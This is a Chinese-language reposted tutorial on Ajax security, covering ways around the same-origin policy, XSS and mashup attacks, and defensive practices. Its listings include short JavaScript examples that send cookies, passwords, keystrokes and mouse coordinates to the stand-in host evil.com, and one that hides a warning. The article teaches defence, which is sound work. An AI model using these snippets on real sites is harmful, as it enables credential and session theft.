ajax copy

Ajax 構建於動態 HTML(DHTML)技術之上,其中包括以下這些最多見的技術:javascript

  • JavaScript :JavaScript 是一種腳本語言,在客戶端 Web 應用程序中常用。
  • 文檔對象模型(Document Object Model,DOM) :DOM 是一種用於表示 HTML 或 XML 文檔的標準對象模型。現在,大多數瀏覽器都支持 DOM 並容許 JavaScript 代碼動態地讀取和修改 HTML 內容。
  • 層疊樣式表(Cascading Style Sheets,CSS) :CSS 是一種用於說明 HTML 文檔表示的樣式表語言。JavaScript 可以在運行的時候對樣式表進行修改,這樣即可以動態地更新 Web 頁面的表示。

在 Ajax 中,客戶端 JavaScript 經過動態地修改 DOM 樹和樣式表來更新 Web 頁面。此外,異步通訊(能夠經過下面介紹的技術實現)容許動態地更新數據,而無需從新加載整個 Web 頁面:css

  • XMLHttpRequest XMLHttpRequest 是一個 API,它容許客戶端的 JavaScript 與遠程服務器創建 HTTP 鏈接和交換數據,好比說純文本、XML 和 JSON(JavaScript Serialized Object Notation)。
  • JSON :JSON 由 RFC 4627 提出,是一種輕量的、基於文本的、獨立於語言的數據交換格式。它以 ECMAScript 語言的一個子集爲基礎(這使之成爲 JavaScript 語言的一個部分),而且定義了一小套格式規則用以建立結構數據的可移植表示。

注意,Ajax 應用程序中還有一些其餘經常使用的格式能夠替代 JSON,好比說 XML 和無格式的純文本。此處咱們選擇討論 JSON,其緣由在於它具備一些隱藏的安全問題,稍後咱們將在文章中對其進行研究。html

建議對 Ajax 還不熟悉的讀者先閱讀 參考資料 中的文章。java

 

理解同源策略程序員

當來自多個始發源的內容以某種方式被集成到一個單一的應用程序中時,一些內容相互之間可能具備不一樣的信任級別,或者它們可能根本沒有必要相互信任。這樣天然而然會產生某種需求,即把來自不一樣始發者的內容分離開來,把它們之間的衝突減至最少。ajax

 

同源策略是當前瀏覽器的保護機制的一部分,該機制未來自不一樣域(假設域表明的是始發者)的 Web 應用程序分離開來。也就是說,若是多個窗口或框架中的一些應用程序是從不一樣的服務器下載的,那麼它們沒法相互訪問數據和腳本。注意,同源策略只能應用於 HTML 文檔。經過 <script src="..." > 標記導入 HTML 文檔的 JavaScript 文件被認爲是該 HTML 文檔的同源的一部分。該策略在全部主要瀏覽器實現中都有執行。正則表達式

 

在 XMLHttpRequest 的上下文中,同源策略的目的是控制應用程序與遠程服務器的交互。然而,同源策略對 Web 2.0 應用程序的影響力比較有限,這有以下幾個緣由:編程

 

  • 能夠經過許多方法繞過同源策略 :稍後我將在文章中演示其中的一些方法。
  • Web 2.0 應用程序的一個重要特性就是用戶對內容的貢獻 :也就是說,一般內容並非由受信任的服務提供的,而更多的是由異步用戶經過 blog、wiki 等媒介提供的。所以,即使是單個服務器中的內容實際上也可以來自多個來源。
  • 瀏覽器強制同源策略將服務器的域名做爲串字面值進行檢查 :例 如,http://www.abc.com/ 和 http://12.34.56.78/ 會被做爲不一樣的域而區別對待,即便 www.abc.com 的 IP 地址實際上就是 12.34.56.78。此外,URL 中的任何路徑表達式都將被忽略。例如,http://www.abc.com/~alice 會被識別爲 http://www.abc.com/~malroy 的同源,從而忽略了這樣一個事實,即這兩個目錄有可能屬於不一樣的用戶。
  • 大多數 Web 瀏覽器容許 Web 應用程序將域的定義放寬爲應用程序自身的超域 :好比說,若是應用程序是從 www.abc.com 處下載的,那麼應用程序能夠把 document.domain 屬性重寫爲 abc.com 或者就是 com(在 Firefox 中)。大多數最新的瀏覽器只容許訪問已經把它們的 document.domain 屬性重寫爲相同值的窗口或框架中的窗口對象。然而,一些版本比較老的瀏覽器容許與 document.domain 屬性中指定的域創建 XMLHttpRequest 鏈接。
  • 即便某個 Web 服務器位於受信任的域中,該服務器可能並非內容的始發源,尤爲是在 Web 2.0 的上下文中 : 好比說,企業門戶服務器、基於 Web 的郵件服務器或者 wiki 能夠是受信任的,可是他們所託管的內容可能包含來自具備潛在的惡意的第三方的輸入,這個第三方能夠是跨站腳本(cross-site scripting,XSS)攻擊(該攻擊咱們將在稍後介紹)的目標。所以,服務器所在的域並不能表明其內容的可信任度。

 

避免同源策略:JSON 和 動態腳本標記json

因爲 JSON 只是一種含有簡單括號結構的純文本,所以許多通道均可以交換 JSON 消息。由於同源策略的限制,咱們不能在與外部服務器進行通訊的時候使用 XMLHttpRequest 。JSONP(JSON with Padding)是一種能夠繞過同源策略的方法,即經過使用 JSON 與 <script> 標記相結合的方法,如 清單 1 所示。跨域


清單 1. JSON 例子

 
Js代碼   收藏代碼
  1. <script type="text/javascript"  
  2.   src="http://travel.com/findItinerary?username=sachiko&  
  3.   reservationNum=1234&output=json&callback=showItinerary" />  

 

當 JavaScript 代碼動態地插入 <script> 標記時,瀏覽器會訪問 src 屬性中的 URL。這樣會致使將查詢字符串中的信息發送給服務器。在 清單 1 中,所傳遞的是 username 和 reservation 做爲名稱值對傳遞。此外,查詢字符串還包含向服務器請求的輸出格式和回調函數的名稱(即 showItinerary )。<script> 標記加載後,會執行回調函數,並經過回調函數的參數把從服務返回的信息傳遞給該回調函數。

 

避免同源策略:Ajax 代理

Ajax 代理是一種應用級代理服務器,用於調解 Web 瀏覽器和服務器之間的 HTTP 請求和響應。Ajax 代理容許 Web 瀏覽器繞過同源策略,這樣即可以使用 XMLHttpRequest 訪問第三方服務器。要實現這種繞過,有以下兩種方法可供選擇:

  • 客戶端 Web 應用程序知道第三方 URL 並將該 URL 做爲 HTTP 請求中的一個請求參數傳遞給 Ajax 代理。而後,代理將請求轉發給 www.remoteservice.com。注意,能夠把代理服務器的使用隱藏在 Web 應用程序開發人員所使用的 Ajax 庫的實現中。對於 Web 應用程序開發人員而言,它看上去可能徹底不具備同源策略。
  • 客戶端 Web 應用程序不知道第三方 URL,而且嘗試經過 HTTP 訪問 Ajax 代理服務器上的資源。經過一個預約義的編碼規則,Ajax 代理將 所請求的 URL 轉換爲第三方服務器的 URL 並表明客戶檢索內容。這樣一來,Web 應用程序開發人員看上去就像是在和代理服務器直接進行通訊。

 

避免同源策略:Greasemonkey

Greasemonkey 是一個 Firefox 擴展,它容許用戶動態地對 Web 頁面的樣式和內容進行修改。Greasemonkey 用戶能夠把用戶腳本(user script) 文件與一個 URL 集合創建關聯。當瀏覽器經過該 URL 集合加載頁面時,便會執行這些腳本。Greasemonkey 爲用戶腳本的 API 提供了額外的許可(與運行在瀏覽器沙盒中的腳本的許可相比較)。

 

GM_XMLHttpRequest 是其中的一個 API,它從本質上說就是一個不具備同源策略的 XMLHttpRequest 。用戶腳本能夠將瀏覽的內置 XMLHttpRequest 替代爲 GM_XMLHttpRequest ,從而許可 XMLHttpRequest 執行跨域訪問。

 

GM_XMLHttpRequest 的使用只能經過用戶贊成的途徑才能受到保護。也就是說,Greasemonkey 只有在創建新用戶腳本與特定 URL 的集合之間的關聯時纔會要求用戶配置。然而,不難想象一些用戶可能會被欺騙,在沒有徹底理解其後果時就接受該安裝。

 

 

研究攻擊場景

不只開發人員在避免同源策略時會向惡意用戶露出攻擊面,當惡意代碼被插入 Web 應用程序中時當前的應用程序也易於受到攻擊。遺憾的是,惡意代碼進入 Web 應用程序的方法多種多樣。咱們將簡要討論其中兩種可能的途徑,這對於 Web 2.0 的下上文來講也日漸相關。

 

跨站腳本(Cross-site scripting,XSS)

XSS 是一種很常見的攻擊手段,在該攻擊中攻擊者將一個惡意代碼段注入到一個運行良好的站點中。XSS 攻擊有以下兩種基本的類型:

  • Reflected XSS
  • Stored XSS

reflected XSS 攻擊利用了 Web 應用程序安全性低的弱點,該應用程序在瀏覽器中顯示輸入參數而不對其中是否存在活動內容進行檢查。一般,攻擊者會誘使受害者單擊 URL,如 清單 2 所示。


清單 2. reflected XSS 攻擊的一個示例 URL

 
Js代碼   收藏代碼
  1. http://trusted.com/search?keyword=<script>  
  2. document.images[0].src="http://evil.com/steal?cookie="   
  3. + document.cookie; </script>  

 

假設 trusted.com 提供了一個服務,該服務具備一個搜索特性能把搜索結果和輸入的關鍵字一塊兒提交回來。若是搜索應用程序沒有過濾 URL 中的一些特殊字符(如小於號 (<) 和大於號 (>)),則 <script> 標記也將被插入到用戶 Web 頁面中,這樣將會把文檔的 cookie 發送給遠程服務器 evil.com。

 

隨着 Web 2.0 的普及 stored XSS 攻擊愈來愈嚴重。Web 2.0 成功的關鍵是大衆之間的共享、交互和協做,所以用戶有更多的機會能夠經過一些服務(好比說社會網絡服務(social network services,SNS)、wiki 或 blog)看到其餘用戶(具備潛在惡意性)的輸入。

 

無論怎樣,輸入值驗證和數據消毒(sanitation)是防止 XSS 攻擊的關鍵因素。一般,Web 服務器從用戶輸入中移除腳本,可是攻擊者常常會利用服務器的弱點繞過這些過濾器,從而形成一些重大的攻擊,好比說 Yamanner 或 MySpaceIn 蠕蟲。

 

Mashup

mashup 應用程序是一種 Web 應用程序,它能夠把來自多個來源的內容和服務結合到一個集成的用戶體驗中。一般,mashup 應用程序會形成一個單一的客戶端應用程序,所以 mashup 中的不一樣部分能夠經過一些瀏覽器資源(好比說 DOM 樹或瀏覽器窗口工具)來進行信息共享和交互。當 mashup 中的某些部分是出於惡意目的編寫的(或者被攻擊了),它能夠將惡意代碼注入到應用程序中。這樣會致使各類類型的攻擊(相似於 XSS),包括盜取用戶的敏感信息。

 

 

理解攻擊產生的影響

咱們已經知道攻擊者是如何將代碼注入應用程序的,接下來再看看一些常見攻擊所帶來的影響。

 

 

竊取 cookies 或密碼

對於攻擊者而言,最直接的受益就是得到用戶的敏感信息,好比說用戶密碼或 cookies。由於注入腳本能夠訪問 DOM 樹的任何部分,因此它們能夠從登陸表單的文本字段中竊取密碼信息。例如,清單 3 中展現的代碼可以竊取信息並將其發送到某個攻擊者的服務器。


清單 3. 攻擊示例:從文本字段中竊取密碼

 
Js代碼   收藏代碼
  1. function stealpw(){  
  2.   var pw = document.getElementById("password").value;  
  3.   document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
  4. }  
  5. document.getElementById("button").onclick = stealpw;  

 

在本例中,攻擊者須要等待一段時間,直到用戶單擊提交按鈕以後才能接收到他的數據。Ajax 使攻擊者的工做更加簡單,這是由於它容許攻擊者向遠程服務發送任意信息,而不用等待利用用戶的動做,好比說點擊一個按鈕或單擊一個連接。這種類型的通訊量 一般會被視爲可疑行爲,可是因爲 Ajax 具備異步性,因此這種通訊量經常不會被檢測到。

 

使用相似的方法,攻擊者還可以竊取敏感 Web 應用程序中的文檔 cookies(好比說在線金融應用程序)。文檔 cookies 能夠容許攻擊者劫持會話或使用所竊取的憑證進行登陸。

 

注意,Microsoft® Internet Explorer® 6 或更高版本對 HttpOnly cookies 提供了支持,這樣能夠防止客戶端腳本訪問文檔 cookies。然而,因爲大多數 Web 應用程序都不能依賴瀏覽器來實現,因此這種方法也無濟於事。

 

使用鍵盤記錄工具(key logger)竊取鍵盤事件

清單 4 展現了一個簡單的鍵盤記錄工具示例,該工具竊取 Web 頁面中的鍵盤事件並將它們發送給遠程服務器。鍵盤記錄工具容許攻擊者劫持任何用戶輸入;好比說,若是某個用戶在使用一個基於 Web 的電子郵件服務,那麼鍵盤記錄工具將記錄下任何文本輸入並將其發送給攻擊者。而後,攻擊者可以經過分析記錄數據檢索出憑證信息,好比說密碼和憑證信息。


清單 4. 攻擊示例:鍵盤記錄工具

 
Js代碼   收藏代碼
  1. function keylogger(e){  
  2.   document.images[0].src = "http://evil.com/logger?key="  
  3.   + e.keyCode;  
  4. };  
  5. document.body.addEventListener("keyup", keylogger, false);  

 

使用鼠標嗅探器竊取鍵盤事件

軟鍵盤是防止鍵盤記錄工具竊取敏感輸入信息(好比說用於在線金融服務的登陸 PIN 碼)的一個經常使用技巧。然而,鼠標嗅探器可使用相似於鍵盤記錄工具所使用的技巧。經過竊取鼠標事件的 X 和 Y 座標,推算出鼠標在軟鍵盤上所點擊的鍵也是有可能的。清單 5 演示了一個簡單的鼠標嗅探器的示例。


清單 5. 攻擊示例:鼠標嗅探

 
Js代碼   收藏代碼
  1. function sniffer(e){  
  2.   document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  3.   + e.clientX + "&y=" + e.clientY;  
  4. };  
  5. document.body.addEventListener("mouseup", sniffer, false);  

 

 

插入錯誤信息

使用 DOM 接口,攻擊者可以修改 DOM 樹中的任何信息。好比說,當某個用戶正在進行在線轉賬操做時,攻擊者把目標賬戶修改成屬於他本身的賬戶也是可行的。其結果是,轉賬的金額將被存入攻擊者的賬戶中。

 

在另外一種攻擊類型中,攻擊者可能會修改樣式表,把信息隱藏起來不讓用戶發現。好比說,假設某個 Web 頁面包含有一個警告消息,如 清單 6 所示。


清單 6. 警告消息

 
Html代碼   收藏代碼
  1. ...  
  2. <style type="text/css"> #warning { color: red } </style>  
  3. ...  
  4. <div id="warning">The links in this page may refer to   
  5. potentially malicious Web pages, so be careful. </div>  
  6. ...  

 

攻擊者可能會修改樣式表,消除警告。好比說,清單 7 中展現的 JavaScript 代碼修改了警告的樣式,使它在白色的背景中不可見。


清單 7. 攻擊示例:消除警告

 
Js代碼   收藏代碼
  1. var e = document.getElementById("warning");  
  2. e.style.color= "white";  

 

推薦的最佳實踐

咱們對攻擊有可能的實現和其所帶來的後果有了基本的瞭解,接下來再看看一些技巧,並應用這些技巧改善 Ajax 應用程序的安全性。

 

 

添加一個輸入值檢查

正如咱們在 XSS 示例中所看到的,大多數的攻擊都利用了服務器端的弱點,注入惡意腳本。所以,要保護 Web 應用程序,第一步須要添加輸入驗證。輸入驗證和數據消毒會從不可信的輸入中過濾掉全部可能的活動或惡意的內容。

 

輸入驗證的兩種類型:

  • 黑名單: 在這種方法中,黑名單中的全部字符都會從輸入中過濾掉。黑名單所面臨的最大的挑戰就是要確保全部危險的字符都包含在名單中。由於要預測到全部可能的輸入組合是不可能的,因此黑名單常常不能實現正確的驗證。
  • 白名單: 這種替代方法列出全部容許的字符並從輸入中移除全部其它的字符。白名單所面臨的最大的挑戰就是在保持列表儘量簡短的同時,仍然可以提供足夠的靈活性,容許 Web 應用程序所需的輸入類型。

不能把黑名單或白名單做爲一種絕對安全的解決方案。可是,人們一般認爲白名單是更加安全的選擇。所以,推薦您使用白名單來清除具備潛在危險性的輸入。

 

對發送給瀏覽器並在其上顯示的字符串中的特殊字符(好比說把小於號 (<) 換成 "&lt;")進行轉義是加強安全性的另外一種方法。有些程序語言提供了一些內置的函數用於轉義特殊字符。

 

 

使用漏洞檢查工具

因爲應用程序中的程序錯誤都比較相似,所以許多 Web 應用程序都易於受到攻擊。因此,安全專家開發了一些工具,用於檢測這些不安全的編程實踐。此類工具稱爲漏洞檢查工具,它們能預先檢測出潛在的漏洞。這些工 具檢測出的最多見的漏洞之一就是程序員忘記對潛在的惡意輸入調用消毒例程。

 

不要動態地生成和執行代碼

可使用若干種方法在 JavaScript 程序中動態地生成代碼。最著名的函數之一就是 eval() 函數,該函數容許您將任意字符串作爲 JavaScript 代碼執行。然而,肆無忌憚地使用該函數是很是危險的。遺憾的是,一些使用普遍的 JavaScript 庫在內部直接使用 eval() 函數。

 

保障 JSON 的使用安全

因爲 JSON 是以 JavaScript 的一個子集爲基礎的,因此腳本內容會潛在地包含惡意代碼。然而,JSON 是 JavaScript 的一個安全的子集,不含有賦值和調用。所以,許多 JavaScript 庫使用 eval() 函數將 JSON 轉換成 JavaScript 對象。要利用這點,攻擊者能夠向這些庫發送畸形的 JSON 對象,這樣 eval() 函數就會執行這些惡意代碼。能夠採起一些方法來保護 JSON 的使用。第一個方法是使用 RFC 4627 中所定義的正則表達式確保 JSON 數據中不包含活動的部分。清單 8 演示瞭如何使用正則表達式檢查 JSON 字符串。


清單 8. 使用正則表達式檢查 JSON 字符

 
Js代碼   收藏代碼
  1. var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(  
  2.     text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&  
  3.     eval('(' + text + ')');  

 

另外一種更具安全性的方法是使用 JSON 解析器對 JSON 進行解析。因爲 JSON 的語法至關的簡單,您能夠輕易地實現這種解析器,而不會帶來顯著的性能差別。

 

在集成不可信內容時使用 <iframe>

您能夠利用同源策略使攻擊者沒法輕易地訪問整個 DOM 樹。當您把不一樣域中的數據加載到一個 <iframe> 中時,應該給予該數據一個屬於本身的 JavaScript 執行上下文和 DOM 樹。這樣能夠防止攻擊者從主頁面中竊取信息。儘量多地 <iframe> 限制不可信的外部內容是一個良好的實踐。

 

 

結束語

在這篇文章中,咱們概述了在 Web 2.0 應用程序中避免同源策略的各類不一樣的方法。咱們還演示了這些方法如何在 Web 應用程序中公開一些新的攻擊點。咱們討論了一些常見的攻擊類型和這些攻擊所帶來的後果。最後,咱們在簡短的最佳實踐部分中對文章進行了總結,使用這些最佳 實踐能夠避免一些最多見的攻擊。

 

 

來源:https://www.ibm.com/developerworks/cn/xml/x-ajaxsecurity.html

相關文章
相關標籤/搜索